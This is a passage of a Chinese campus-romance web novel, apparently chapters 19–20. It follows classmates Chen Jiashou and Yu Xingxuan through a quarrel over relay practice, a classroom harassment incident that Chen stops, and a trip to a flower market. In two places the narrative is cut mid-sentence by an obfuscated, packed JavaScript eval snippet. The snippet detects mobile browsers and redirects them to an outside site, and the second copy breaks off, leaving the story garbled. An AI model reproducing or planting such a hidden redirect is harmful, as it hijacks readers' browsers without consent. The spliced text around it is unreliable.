陈嘉授动作稍顿,但也只有短短一秒钟。 冷白清隽的面容一瞬间覆盖上漠然,随即把夹层拉链拉到底。 在他的世界中,大多数人和事都是无关紧要的,没有什么值得他费心多跑一趟。 就算有,也只是顺带。 今天如果不是他自己也没吃晚饭,又听沈林风回来时说碰到喻星旋跑了出去,他不会特意让沈林风叫上她一起。 但一回家,他的这些原则就会立刻失效,因为陈少威和陈蔚不吃他这套。 陈蔚倒也还好,整日沉浸在科研世界里,一周跟他见不上几次面。她也不太管家里发生的琐事,早在婚后就把这些全权交给了陈少威处理,她只负责在大事上拿主意。 可气的是陈少威根本不把他当同等的人。明明他的身形已经赶上了他,但每次陈嘉授冷冷地斜眉看过去,都被陈少威一巴掌打断施法:“得啦,少爷,又不是在学校,跟你爸妈还成天扮嘢(装模作样)?” 下了晚自习回家,陈嘉授一进门就被陈少威叫到餐桌边,说要跟他宣布一个消息,让他猜猜是什么。 陈嘉授推开椅子,沉着脸转身:“你不说就算了。” “喂,你真不想知道啊?” 陈少威一路跟着他,心底笑这小子越大越不客气。一直上楼回到房间门口,这才不再卖关子:“刘医生那边反馈来消息,治疗很有效果,你那个同学的病情已经稳定大半了。” 陈嘉授松了口气,见陈少威盯着,不由坐直了身体:“谢谢。” “给你解决了那么大的麻烦,到头来就说句谢谢。”陈少威回忆往昔,忽然开始感叹,“你现在长大了,怎么还不如小时候可爱……” 陈嘉授后背一阵恶寒:“爸,没别的事你先出去吧。” “怎么没有。我问你,假装跟沈家的小姑娘拍了那么久的拖,你就没对人家动一点心?” “没有。上次聚餐你没看到?” 这点陈少威倒是深信不疑,他的儿子他再清楚不过,真的说违心话的时候,逃不过他的眼睛。 “看来你不喜欢她这型的。”陈少威索性在他床上坐了下来,摆出要促膝长谈的架势,“那你给你老爸说说,你喜欢什么类型的女仔。听说你们学校追你的还不少,哈哈,有我当年读中学那会的风范。” 陈嘉授随手拿起桌上一个相框,别开眼:“你听错了。” 这反应一看就不如刚才自然。 陈少威心底一喜,忽然福至心灵地想起陈自钧过寿那天,试探问道:“你还记得那枚耳钉……” 陈嘉授的桌面忽然发出一声巨响。 他沉着脸扶起倒塌的相框:“我去洗澡。” - 浴室水汽蒸腾。 青春期开始,陈少威就以男子汉不能没有肌肉为理由带他健身和徒步。虽然有段时间疏于练习,但他身形比一般男生笔挺,肩宽腰窄,覆盖着一层薄而不过分夸张的肌肉。 温水从头顶淋下,淌过肩膀、锁骨,陈嘉授“嘶”了声,低头看到左侧锁骨的一片青色淤痕。 他指尖覆上去,皮肤下传来疼痛。他的手稍微向下挪动,停在离锁骨两公分的地方按了按,之后继续往下,直到确定那股柔软的触感,不可能属于他身上的任何一个部位。 闭了闭眼。 白皙英俊的侧脸顷刻间被水汽染红。 比下午她跑出去那阵更甚。 他原本以为,她只是觉得被他接住的姿势难为情。 终于明白了在日料店,她为什么一看到他就让他闭嘴。 ……真撞上了。 软的。 陈嘉授头一次觉得浴室闷到待不下去。他草草冲洗完,就关上水阀踏出浴室。扯过毛巾胡乱擦着头发,动作透着十足烦躁。 回房间,他索性打开窗户,冷风一瞬间涌入大脑,却把那股烦躁吹得更乱了。 陈嘉授不耐烦地啧了声。 他为什么要多此一举,跟她解释上周二请假。 可能脑子是真的坏了吧。 …… 还有,明明哪儿都是软的。 但她的嘴怎么就那么硬。 19. 怎么了 . 周二晚自习,喻星旋一如往常写作业,写完后,又拿出一本物理习题。 才刚翻开,头顶的吊灯忽然传来明显的“噼啪”声。 没等众人反应过来,教室顿时陷入了一片漆黑。 同学们还都懵着,不知谁喊了声“停电了”,大家集体欢呼起来,还有调皮的男生把桌面当鼓敲,尖叫声此起彼伏,几乎要把房顶掀翻。 同一时间,整栋教学楼都陷入了停电的兴奋中。 其他班级也不例外。 李安蓝愤愤地合上小说:“搞什么啊!我正看到关键情节呢!男女主马上就要和好了!” …… 喻星旋几秒钟后才适应了黑暗。 抬眼,就看到一个腿长个高的身影迈步走上讲台,屈指敲敲铁皮讲桌:“安静,都别吵。” 冷冽的男声存在感明显,不消片刻,班里便没人再喧哗,只剩少数几个人窃窃私语。 陈嘉授这才落下一句:“我现在去问,你们注意下纪律。” 因为停电,喻星旋的学习也只能被迫终止。 李安蓝直起身来,东张西望,观察别人都在做什么:“我去,后排的那几个男生都把手机摸出来玩了,怎么这么大胆。” 从小到大,学校停电的事情都屡见不鲜。知道学校一定会加派人手抓紧修好线路,过不了多久就会重新来电,喻星旋索性趴在桌子上闭目养神。 “你干什么,我不想看,我不想看!” 就在这时,后排忽然传出一个女生的哭喊。 喻星旋回过头去,争执发生在她和李安蓝这一列的最后一排,许多人围在他们附近,有男生也有女生。 哭泣的女生是赵燕妮,此刻正趴在桌上,拼命摇头。 而她的同桌正是宋朗浩。 看清这一幕,喻星旋厌恶地皱起眉。 此刻的宋朗浩极为猖獗地笑着,半个身子都压在赵燕妮桌面上,把亮着屏的手机往她胳膊底下塞。 “宋朗浩真是狗改不了吃屎。”李安蓝气得不行,“他以前就经常冲路过的女生吹口哨,还骚扰他们班的英语老师!他准是看赵燕妮老实才欺负她。” 喻星旋神情严肃,眉头拧得越来越紧。 离得远,她根本听不清后面在闹什么。 宋朗浩座位附近几个男生嘻嘻哈哈:“算了吧浩哥,你都把人家逗成什么样了,回头别再哭着找老师告状。” “你不是管得很宽吗?”宋朗浩威胁道,“还管老子看不看片儿。你说,下次还敢不敢了?下次你要再敢多管闲事,信不信老子……” “……” “还哭,哭个屁啊,告诉你,你这样的还想吸引老子注意?也不撒泡尿看看自己长什么样……” 后排女生本来就少,为数不多的几个,也没人敢制止宋朗浩的动作。喻星旋纠结要不要上前,但又实在不想被宋朗浩这种垃圾一样的人沾上。 混乱间,一道身影从后门边走来。 快步穿过人群,最后在赵燕妮桌边停下。 男生身形高大,在这一瞬间出现,犹如定海神针。 “闹什么?” 几个女生围着赵燕妮,七嘴八舌地告状:“自习停电,宋朗浩看那种小视频,非要让赵燕妮看。” “赵燕妮让他别看了,他就骂她!” 宋朗浩看到陈嘉授,反而气焰更加嚣张。 他们班能打球的男生不多,体育课陈嘉授他们有时会把他叫上,有这一层交情,宋朗浩笃信陈嘉授一定站在自己这边。 宋朗浩满不在乎,甚至手机还亮着,露出不堪入目的画面。 “我可没让她看,她自己凑上来问我在干什么,我根本没惹她……” “不是,我没有!”赵燕妮哭着摆手,“他颠倒黑白!” “收起来。” 四周空气都静了一瞬。 宋朗浩扯了扯唇角:“授哥,你信她的鬼话?她跟我同桌以来,一直对我有意思,想跟我投怀送抱……” 陈嘉授打断他,语调冷肃:“收起来。我不想说第三遍。” 宋朗浩收起笑容,悻悻地给自己找回面子:“授哥,没必要吧,都是男生,谁还不看个片了……” “回家怎么看都没人管你,这里是学校。” 没人注意,宋朗浩的吊梢眼中闪过一丝阴鸷和狠毒。 随即他很快挂上笑,给陈嘉授赔笑脸:“对不住了授哥,我支持你工作,不跟她一般见识……” 没想到陈嘉授压根不理:“你不用给我道歉。” “……” 在他眼神威压下,宋朗浩不情不愿地跟赵燕妮说了声对不起。 教学楼还没来电,在同学们的各色目光里,宋朗浩把手机往兜里一塞,书包都没背,就直接走出了教室。 走的时候没看清,撞到讲桌,引发了讲台下一阵哄笑声。 赵燕妮感激地看了陈嘉授一眼。 但陈嘉授并未注意她,对她点点头,径直走上讲台,通知大家十五分钟之后教室来电。 这个插曲过后,李安蓝对宋朗浩的恶心程度已经达到了巅峰。 连珠炮一般的,又给喻星旋科普了更多宋朗浩的极品事件。 宋朗浩初中时比李安蓝高一个年级,他初中比现在更低俗猥琐,周围女生全都对他避之不及。 “他不光骚扰班里的女生,还写纸条说他们班的英语老师骚,纸条被英语老师捡起来,她刚从师范学校毕业没多久,处理这种事没经验,气疯了,我们在对面教学楼都能听到她歇斯底里的声音。” 喻星旋皱眉:“你们学校不惩罚宋朗浩吗?” “你继续听我说。”李安蓝继续道,“英语老师大闹了一场,去找他们班班主任和校长告状。但最后宋朗浩只是被通报批评,甚至连回家反省都没有。反而不久后听说,他们班换了个新的英语老师!” 喻星旋的吃惊写在了脸上。 听到李安蓝继续说:“所以,我猜他家里肯定有什么背景。而且他明明是去年中考,却是今年入学。谁知道中间这一年他犯了什么事……” 喻星旋冷冷地下了结论:“他迟早会遭报应。” “对!”李安蓝疯狂点头,随即又担忧地看向喻星旋,“对了,宋朗浩以前……没欺负过你吧?” 宋朗浩曾经也给她发过一些不堪入目的东西。喻星旋忍着恶心,把聊天记录全部截图存档,说他再敢骚扰她,她会立刻报警,随后就把人拉黑。 宋朗浩也是个欺软怕硬的,至今也只敢在背后说她坏话,当面甚至只敢躲着她走。 “对于他这种垃圾,你越恐惧,越忍让,他就只会更加变本加厉。” 她的声音平静,却蕴藏着无穷的力量,李安蓝都不由自主地有些热血沸腾。 “喻星旋,你知道吗,我现在好像越来越崇拜你了。” 她的表白好肉麻,喻星旋扯了扯唇角,却莫名觉得心情很好:“干嘛说这种话。” “真的!跟你比起来,现在陈嘉授都要排到第二名。”李安蓝很认真地说,“因为我从来没有见过像你一样的女生。” 坦荡得仿若林间风,一举一动却又带着重量,让人等闲不敢轻视。 这时,头顶的吊灯全亮起,教室一下子亮如白昼。 喻星旋握起笔,坦荡地对李安蓝承认:“但是今天这件事,我没法做得比陈嘉授更好。” 李安蓝:“他是男生,你是女生,肯定不能用一样的方式啊!” 虽然她不是赵燕妮,也不会把自己置于她刚刚那样的境地。 但当陈嘉授站在那儿的时候,她也不由得松了口气。 他的出现就像是,给躁动不安的空气,注入了一道令人心安的秩序感。 - 次日的早自习,老王给赵燕妮换了个位置,刚好成了喻星旋的新后桌。 赵燕妮是个个子很高的女生,但她的行为处事,却跟她的身高有点矛盾。 总是不由自主耸着肩膀,刘海遮着眼睛,说话声音也很轻,是班上默默的、没太多存在感的同学。 下了早自习,李安蓝转身跟赵燕妮打招呼:“你运动会是不是也报名了接力呀?” 赵燕妮很小幅度地点了下头。 “太好了,咱们从今天开始,下午要去操场练习交接棒。”李安蓝对谁都很自来熟,“以后我们就可以结伴一起去了!” 喻星旋虽然没转身,但听到了全程。 也明显感觉到,赵燕妮对李安蓝的示好并不感冒。 每个人的性格大相径庭,大概她只是比较孤僻吧。 那天下午,李安蓝他们第一次练习交接棒回来后,喻星旋的猜测也得到了印证。 “赵燕妮性格好怪,我问她要不要一起去吃晚饭,她居然连理都不理我。” 喻星旋安静地听她吐槽了会儿,没发表意见。 就算她再不好相处,也不是宋朗浩骚扰她的理由。 李安蓝:“喻星旋,明天你能不能帮我个忙?” “什么?” “我今天总是掉棒,你明天帮我练练。”李安蓝说着理由,“我是第一棒,王辑明天去练走方阵,第二棒暂时缺人。赵燕妮一看就不想帮我,陈嘉授身边又总是围了一群人……” 她刚提到陈嘉授的名字,仿佛是心灵感应,喻星旋视线掠过门边。 陈嘉授和王辑吃完晚饭,一前一后地回到教室。 不久前运动过,他的头发比平时黑亮,似乎是洗过,前额的碎发也被随意地向后捋,显得侧脸轮廓更加锋利。 让人莫名想到,汗珠顺着他额角和手臂渗出的样子。 那边李安蓝见她没反应:“不愿意就算了,等商芝琳回来,我问问她。” “可以。” “……” 李安蓝瞪大眼睛。这就答应了? 这也太爽快了吧。 “你明天下楼的时候,记得叫我。”喻星旋说。 - 喻星旋的生理期一向不太准时。第二天,她的小腹一下午隐隐作痛,但又始终没有明显的感觉。 李安蓝喊她下楼去操场,喻星旋想了想,保险起见,还是摸出一片卫生巾:“你先去吧,我先去个洗手间,然后去操场找你。” 一低头,果然有一抹淡淡的红色。 但想到她已经答应了李安蓝,喻星旋没让她等很久,迅速收拾好自己下楼。 办公楼楼下有一处庭院,穿过庭院到操场,比走大路近一些。 可喻星旋刚刚接近庭院的入口,一道背影就撞入眼帘。 她及时顿住,没有上前引起他们的注意。但视线却像粘在了那里,挪不开。 本应该在操场练接力的陈嘉授,现在却出现在这里。 而他面前,站着一个年级出名的漂亮女生。 女生长发披散着,一直散到腰间,像上好的绸缎。乌眉红唇,笑容爽朗,落落大方地与他攀谈。如果忽略五官,她的气质甚至跟沈艺棠有那么几分相似。 喻星旋在心底冷笑了一声。 他可真是一刻都不消停,不谈恋爱会死。 甚至找的还都是同一个类型。 他还知道自己有正事要做吗?别是连应该干什么都忘了。 小腹的坠胀感更加明显,喻星旋抬手放在上面,轻轻揉了揉,忍过那阵不适后,她也没再打扰陈嘉授和别人花前月下,放轻脚步转身离开,走另一条路去了操场。 “喻星旋,我们在这里!”李安蓝冲她招手。 喻星旋点点头,远远地就看到李安蓝跟赵燕妮站在一起,陈嘉授果然没在。 看来她也没冤枉他。 她走近后,李安蓝问:“……你那个真来了啊?” “没事,不影响。” 喻星旋环顾四周,明知故问:“不是四个人吗?还有一个去哪了。” “不知道啊,班长昨天还挺准时的。” “这样啊。”喻星旋嘲弄道,“别是路上有什么事耽搁了。” 李安蓝不明就里,赞同地点点头:“没准是被老王临时叫走了。” 小腹又涌上新一轮的坠胀,喻星旋略略弯下腰,不舒服的感觉越来越明显。 最近因为运动会,各班都趁自习课来操场练习走方阵和项目。 喻星旋视线投向操场门边,那里不断有人进出,却仍旧没见到陈嘉授的身影。 时间一分一秒过去,喻星旋不想等了,霍地站直身体,拉着李安蓝到起跑线的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818991|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你跟我过来。” 亏她还因为他帮赵燕妮制止宋朗浩,认为他至少算个靠谱的人。 没想到还是这么拎不清。毫无时间观念,让三个人在操场等他一个。 “喻星旋,咱们去哪啊?” “不是练交接棒吗,我陪你练,练完回班。” “……不等陈嘉授了?” “为什么要等他,他一直不来,难道你要一直等吗?” 李安蓝看到喻星旋背后走来的人,连忙戳戳她。 喻星旋一看她这副不可说的模样,火气腾地又窜了几寸:“干嘛啊,他迟到这么久,说他两句还不行了?” “说我什么?” “……” 喻星旋僵硬地转头,看到陈嘉授披着渐渐收起的夕阳,从操场的另一侧横穿过来。 她一点也不高兴,板着脸走到李安蓝身后背对着他,全当没看见。 陈嘉授打开手上拎的透明塑料袋,让李安蓝和赵燕妮一人拿一瓶。 李安蓝意外地笑了:“哇,昨天说的冰水,班长你居然还记得啊!” 喻星旋背着身,他分完水后,也并没过去找她,嗯了声,冷淡疏离的声音落下:“抱歉,今天来得有点迟。” “没事没事!” 喻星旋忍不住翻个白眼。 真够假惺惺的。 明明是自己理亏,还想用一些小恩小惠收买人心。 陈嘉授像是终于看见她,不咸不淡的视线落在她身上:“她也来了?” 怎么,她出现在这里还碍着他的眼了。喻星旋很冲地回敬:“我来陪李安蓝练交接棒,你有意见?” “对对对,我让喻星旋过来陪我练习的。”空气中火药味太浓,李安蓝连忙打了个圆场,“对了班长,你今天怎么迟到这么久啊?” “老王有事找我,临时去了趟他办公室。” 喻星旋突兀地冷笑:“是吗,哪个老王啊。” 陈嘉授皱眉:“什么乱七八糟的。” 小腹开始一阵阵绞痛,翻搅着喻星旋为数不多的理智。喻星旋深深吸了一口气:“陈嘉授,你当别人都是傻子?” 陈嘉授漆黑的眉紧锁,居高临下,手臂抱在身前,冷哼一声:“如果你是来吵架的,那你现在可以走了。” “我凭什么听你的,又不是你让我来,你让我走我就走?”喻星旋彻底被惹毛,“李安蓝。” “……啊?” “还练吗?” “练……吧…?” 李安蓝被夹在中间左右为难。 她在心里叫苦不迭,就算她有罪,老天也不应该用这样的方式惩罚她啊! “你不把话说清楚,今天谁也别练。”陈嘉授长腿一迈,直接拦住喻星旋的去路。终于被这副仿佛欠她钱一样的态度激出了几分火气。 她就像一只浑身带刺的刺猬,一见他就忽然发难,没有一句话是他爱听的。 不是早就给她解释过了吗,他又怎么惹她了? 喻星旋往左,他也跟着往左,她往右,他提前一步往右。 陈嘉授就像座山一样堵在眼前,她怎么都越不过。 她心里的火气一下就蹿到了头顶:“你敢做有什么不敢承认的,你跟人聊天忘了时间,害大家等你这么久,你怎么还有理了?” “我跟谁聊天了?” “你自己心里清楚。” “你简直莫名其妙。我们现在就去找班主任,你亲口问问他,刚才是不是他找人叫我去办公室。” “……” 喻星旋仿佛被人敲了记重锤。 难道真的是她误会了,她看到的那一幕,是对方在叫他去办公室? “怎么不说话了,刚才不还挺能说的?” 现在示弱,无疑是长他人志气灭自己威风。 喻星旋不想让陈嘉授得意哪怕一秒,硬着头皮也要吵下去:“随便你用什么理由。你自己不高兴,就让大家跟你一起耽误时间,你不觉得你这样很自私吗?” 说完这话,喻星旋不敢看陈嘉授的脸色,脚步发虚,却昂首挺胸,穿过操场去了第二棒所在的位置。 陈嘉授面如冰霜,可细看之下,李安蓝却觉得,他一言难尽的表情中,并不包含多少生气。 他面部肌肉抽搐了一下,像是从来没收到过这样的评价,一时间有些茫然。 半晌,他缓缓张唇:“行。我自私。” 李安蓝顿时有点不淡定了。 没听错的话,他这是被喻星旋骂了吧。 被骂了还认,这人什么癖好? 李安蓝踌躇着问赵燕妮:“那个,你觉不觉得,他们俩刚才……” 好像情侣吵架啊!不知道前因后果真的会想歪的好吗! 赵燕妮明显不想聊这个话题,低着头往第三棒起跑线走:“不觉得。” 心里存着气,喻星旋将之全部发泄到了跑步上。 明明只在交接棒时抓紧,让李安蓝感受下松手的时机就好,喻星旋拿到棒后,却尽了全力在冲刺。 之后,她又忍着不舒服,跟李安蓝单独练了几遍。 可能是因为时间特殊,明明运动量不算大,结束时,她已经累得有些站不住。 “喻星旋,今天太谢谢你啦,咱们就先回去,晚上我请你吃晚饭?” “……不用了。” 小腹酸痛,头晕,恶心,喻星旋一口东西也吃不下,只想原地坐下歇会儿,又不想被李安蓝看出自己是在硬撑,于是勉强地对她笑笑:“你先回去吧,我想在操场转转。” 李安蓝一走,喻星旋立刻转身去了看台,靠着水泥台蹲下,眼前一阵一阵发黑。 内心极度后悔今天来操场的决定。 想不通她平时很少生气,怎么一对上陈嘉授就控制不住脾气。 她猜到今天应该是误会他了,可是要道歉,又说不出口。 况且陈嘉授那个人,内心极度自我,他从来都觉得自己没错。给他道歉,反而更助长他的气焰。 “喂。” 忽然有脚步声停在她附近。 喻星旋一动不动,薄薄的肩胛骨颤了颤。 紧接着,上方响起男生没什么好气的声音。 “怎么了?” 20. 丢垃圾 . 喻星旋差一点就要抬眼望向来人,但还是克制住了自己,把脸颊埋在膝头,一动不动。 她的头发一定跑得很乱,脸色也很难看。 总之这样的一面,不能让陈嘉授看到。 两人僵持着。 陈嘉授主动弯下腰,运动过后温热的气息俯近了。他停在那里,声线依旧冷硬:“问你呢,怎么不说话。” 喻星旋闭眼装睡,肩头却被一个冰凉的东西碰了碰。 喻星旋觉得肚子更疼了,连说话都变得勉强:“跑累了坐一会儿,你要我说什么?” 傍晚天光渐收,不知是不是光线原因,女生的脸色似乎比平时苍白,嘴唇也没什么血色。几缕碎发被汗水沾在额角。浑身写满了“你还敢来惹我”。 “……”陈嘉授握着水瓶的手指不由得攥紧一点,强行忍下了一股新冒出的火气,把那瓶没那么冰的冰水递过去。 对上她惊疑不定的眼神,陈嘉授手背很快地蹭了下鼻子。 “买多了,帮忙解决下。” 经期总是让人容易情绪化,听到他的理由,喻星旋简直气不打一处来。 她几乎要怀疑他是不是故意的。 她肚子正疼得天翻地覆,他居然还给她冰水! 喻星旋充满敌意地盯着他递过来的水,像是在盯着什么脏东西。 不远处,陈嘉授外班的几个朋友在催他:“阿授,还不走啊!” 喻星旋用力按住小腹,别过头:“我不要。你给别人喝吧。” 心里却在想,只要陈嘉授再坚持一下,她就会下这个台阶,把水接过去。 “不要算了。”看台附近刚好有个垃圾桶,陈嘉授转身就走,路过垃圾桶时,直接把那瓶没拆封的水丢了进去。 “咚”,剧烈沉重的碰撞。 喻星旋的心都跟着颤了一下。 她痛得冷汗直冒,从指缝中看向陈嘉授离开的方向。 他走到那群朋友中央,一次都没回过头。 … 两节晚自习后,迟钝如沈林风都能察觉出陈嘉授状态不对劲。 他觉得稀奇。 这哥们一向道心似铁,现在这样着实罕见。 脸上的不爽都要滴下来了。 沈林风探究地瞧瞧他:“你今天晚上到底是怎么了。” “……” 他也想知道他怎么了。 被她当着其他人莫名其妙骂他一通,他居然还能主动拉下脸来给她送水。 最讽刺的是,她居然还不领情。就好像他在水里下了毒,她喝一口就会当即升天。 他就不明白了。 对他说句软话,是会要了她的命吗? 这等蠢事,他做一次也就够了,绝不可能再有第二回。 陈嘉授敛了敛情绪,冷淡道:“有事说事。” “运动会采购你有想法吗?” 提起这事,陈嘉授就头疼。 他们初中在长南大学附中,班里多的是富家子女,家长们也不介意花钱帮孩子充门面。 运动会之类的集体活动,基本都由家委会几个家长轮流负责,自掏腰包。 但他们现在的班级不一样,工薪阶层的同学占多数。 为了运动会,二班前几天特意收了次班费。老王已经说过运动会的花销从班费出,还把采购任务交给了陈嘉授。 “让我爸的助理帮忙拟个预算,再找人去把东西买齐。” 沈林风点点头,心想果然是小陈总的作风,能用钱解决的事绝不多花时间。但他很快想到一个新的问题:“那这样是花班费,还是你自掏腰包啊?” “先花班费,不够的我补上。” “我觉得不太合适。”沈林风分析道,“你小陈总一发话,你爸的助理肯定不会糊弄了事,什么都得拣最好的买。到时候把明细一公布,大家发现你自己垫了这么多,要那些家庭条件一般的同学怎么想。” 沈林风的担忧,陈嘉授之前不是没想过。 他只是觉得麻烦得要命。 至少以前在南大附中,跟沈林风、白峥这些朋友一起时,他没必要去照顾他们的心情。 明明根本不需要自己操心的事情,却因为要考虑别人心情变得束手缚脚。 尽管有些不悦,陈嘉授最后还是松了口:“好,周五在班群问问其他人意见吧。” 周五晚,陈嘉授在班群里一吆喝,几个男生立刻积极响应。几人拉了个群,商量起了周末采购物资的计划。 预算有限,最方便的肯定是网购,但时间可能来不及。群里有人建议去批发市场,得到了其他人的一致赞成。 运动会时,方阵会依次走到主席台下,随后表演环节,二班排练了别出心裁的花束表演。 鲜花很贵,而且容易枯萎,最后讨论决定还是用仿真花代替。 许永辉提议说,他家附近刚好就有一个大型花卉市场。 沈林风一下子来劲了,撺掇大家明天都去瞧瞧热闹。 群里讨论结束之后,他特意跟陈嘉授发消息,问他去不去。 陈嘉授:【你在兴奋什么?】 沈林风:【没去过批发市场,觉得新鲜不行啊?】 陈嘉授哂笑:【瞧你那没见过世面的样子】 沈林风确实好奇。作为一个十指不沾阳春水的人,家里有五星级酒店厨师的私厨,他长这么大就没有采购的概念,别说没进过市场,去超市都没逛过生鲜区。批发市场这种地方,实在离他们的生活太遥远了。 沈林风物以类聚,觉得陈嘉授应该也差不多。 【难道你见过?】 【阿授,明天去不?】 【明天咱俩一块去呗】 【你可是班长,不参加集体活动合适吗?】 …… 接连消息轰炸,在沈林风的软磨硬泡下,陈嘉授勉强答应了明天也去。 但他对什么批发市场完全不抱希望,已经做好明天颗粒无收,让陈少威的助理帮忙补救的准备。 第二天,几个男生起了个大早到花卉市场。这里属于老城区,外观破旧,市场里更是挤挤挨挨,环境堪忧。一走进去就感觉到扑面而来的湿度,路面上被人丢弃的干冰弥漫着白雾。 陈嘉授一见这景象,几乎是立刻产生了抗拒。 他洁癖有些严重。平时朋友们为了照顾他,吃烧烤都不去路边摊。 但今时不同往日,陈嘉授做了半天心理建设,这才抬脚迈进去。 虽然时间还是清晨,但已经有很多推着大车小车来进货的商贩了。 他们呆站在路中央,四周的人来来往往,吆喝着让他们别挡路。地面上湿漉漉的,污水跟各种叫不出名字的残花败叶混在一起。 避让时,一脚踩下去,没看清深浅,污水瞬间溅到了陈嘉授的鞋帮上。 而其他男生明显新鲜感还没过去,四处跟人打听哪里能买到包装好的仿真花花束。 陈嘉授皱眉看着鞋上的污渍,脸上的不耐几乎要溢出来,碍于面子没有发作,但也完全没心情加入他们。 昨天最积极的沈林风,今天早上居然临阵脱逃,说太早了他起不来。 把他忽悠来,自己却在家睡起了回笼觉。 陈嘉授越想越不爽,摸出手机用力打字: 【你是出的什么馊主意】 【你在家?现在就给我滚过来,立刻,马上】 沈林风一直没回,意料之中的结果。陈嘉授一言不发,极其谨慎地避开地上的脏东西,走在最后。 几人在鲜花区像无头苍蝇似的乱转。杨桐说:“昨天应该叫个女生跟我们一起,一群大老爷们,我不知道该知道买什么样的花啊。” “哎?桐,你看前面那个妹子,怎么有点眼熟啊?” “哪呢哪呢?” “那个,穿黄衣服抱束花那个。” “那不喻星旋吗?她怎么在这儿?”说曹操曹操就到,杨桐激动地跳起来,“喂,喻星旋——” 陈嘉授抬起视线。 几乎同一时间。 喻星旋抱着一束洋桔梗,素白的小脸,带点讶异地,朝着声源的方向回头。 陈嘉授外套兜里的手机轻轻振响,他接起,沈林风的声音传出来。 “起了起了起了,催什么催,你们已经到花卉市场了?我现在过来找你们,等着。” “不用来了。” 沈林风:“……啥?” 电话里,陈嘉授的声音带着点愉悦,跟他微信里的催命态度完全不同。 “人手够了,你还来干嘛?” “我靠,那你还一大早催我?” 陈嘉授语气非常讨打:“想给你找点不痛快罢了。” 没给沈林风痛斥他的机会,陈嘉授挂断电话,走上前去。 像是忽然意识到走得太近,他双手抄兜,复又往后退了一步,看上去仍旧像游离在众人之外。 隔着一段距离,他正听见喻星旋跟杨桐说:“这么巧,你们也来这儿买花?” 随后,几个男生七嘴八舌地告诉她运动会采购的事。 喻星旋侧脸被那束绿色洋桔梗的花苞遮住一些,衬着雪白的肤色,配上她此刻忽然遇见同学的有些迟钝和发懵的表情,不再那么冷淡和不好接近,少了许多攻击性,却多了几分清丽的意味。 平日班里对她敬而远之的几个男生,此刻的态度都比平时殷勤许多。 “你们走错地方了。”喻星旋指向另一个方向,“这里是鲜花区,仿真花在另一个区。” 杨桐:“我们其实也没来过这个市场,今天正好遇上了,喻星旋,要不你带我们去吧?” “可以是可以,但我得跟我奶奶说一声。” 陈嘉授挑眉望过去,不远处蝴蝶兰的摊位边有个面容慈祥的老人,喻星旋快步走过去,弯腰对她说着什么。之后把怀里的洋桔梗放进了她的小推车里,目送她走了一段路,这才转身向他们走来。 许永辉:“喻星旋,那个是你奶奶啊?” “嗯。”喻星旋点点头,“跟我来吧。” 陈嘉授见她走向自己的方向,倨傲地抬了抬下巴,正要开口,喻星旋目不斜视地错身过去,全程当他是空气一般。 陈嘉授磨了磨后槽牙。 似乎意识到他们把陈嘉授晾了太久,许永辉放慢脚步等他,两人一起走在队伍末尾:“授哥,今天见你没怎么说话,是不太适应这地儿?” “没有。”陈嘉授说着又绕开一个脏水坑,有些心不在焉看向前方。 看到那个叫杨桐的男生对喻星旋分外殷勤,凑在她身边,聊得正起劲。 陈嘉授的声音不高不低地响起:“没必要搞那么麻烦,再便宜还能便宜几毛钱。” “……”声音从几步之远的身后传来,喻星旋忍着翻白眼的冲动,努力装作听不见,问杨桐,“你们有多少预算?” “尽量三百以内吧。” “三百,方阵20个人,那就是需要40束花。”喻星旋皱眉,觉得他们几个简直没有一点生活常识,“你们现在的预算乘以三还差不多。” “这你就不用操心了。” 又是陈嘉授,这人今天总拆她台。 怕不是觉得她抢了他的风头。 喻星旋脚步顿住,语气不由得又带上火药味:“你说怎么办。” “反正也不够,便宜几毛钱没什么差别。”陈嘉授慢条斯理,看了眼手机时间,这才说,“你们随便挑吧,超过的部分我自掏腰包。” “……” 喻星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可看到陈嘉授的表情,她实在是忍不住。 他像是恨不得立刻离开这个美丽的世界。 很奇怪,她一见陈嘉授吃瘪,那些积攒的怨气就全都烟消云散了。 为了让自己的幸灾乐祸不要过于明显,喻星旋蹲下来,憋着笑,温声问小姑娘:“摔疼了没有?姐姐扶你起来吧?” 喻星旋扶起小孩,再一抬眼,陈嘉授已经把弄脏的外套脱了下来。 他里面只穿了件半高领的薄卫衣,卫衣领口开得很大。十月中旬的北方,这个穿法不出半小时就会冻感冒。 “你还是别……” 喻星旋话音未落,他已经走到社区的绿色垃圾桶边,似乎不愿多碰那衣服一寸,手指挑着衣料边角,松手,径直丢了进去。 喻星旋瞬间没了笑容。 是什么样的家庭条件,才能让人像丢垃圾一样丢掉一件全新的衣服? 后面众人安静了许多,谁都不敢触陈嘉授的霉头。 到了卖仿真花的店铺,为了节省时间也没怎么杀价,反正也没超预算,索性直接付钱。 一行人原路返回,路过某个蝴蝶兰的摊位时,喻星旋停住脚步:“你们先回去吧。” 杨桐:“你要去哪?我等你。” 刘素平在阳台上养了许多花,秋冬家里的植物又要换一批,喻星旋今天原本是陪奶奶逛花市,谁知半路碰上了同班同学。 喻星旋问奶奶看中了哪盆花,就让她先回去,等她逛完再帮她把那盆蝴蝶兰抱回家。 “不用,我还没买完,再说跟你们也不顺路。” “好吧。” 都知道喻星旋的难搞是出了名的,空长一张漂亮的脸,却从来不接受任何男生的示好,对人既清冷又疏离,也没人能从她身上占到便宜。 几个男生没再坚持,提着大包小包离开了。 奶奶已经跟老板付过花的钱,喻星旋跟老板打了声招呼,就把装着那盆花的大塑料袋递给她。 喻星旋道谢接过,拎在手中。 花盆很重,塑料袋的提手深深地陷进肉里。喻星旋提着走了一段路,换了两次手,逐渐感觉不堪重负,她索性把花盆抱在怀里。 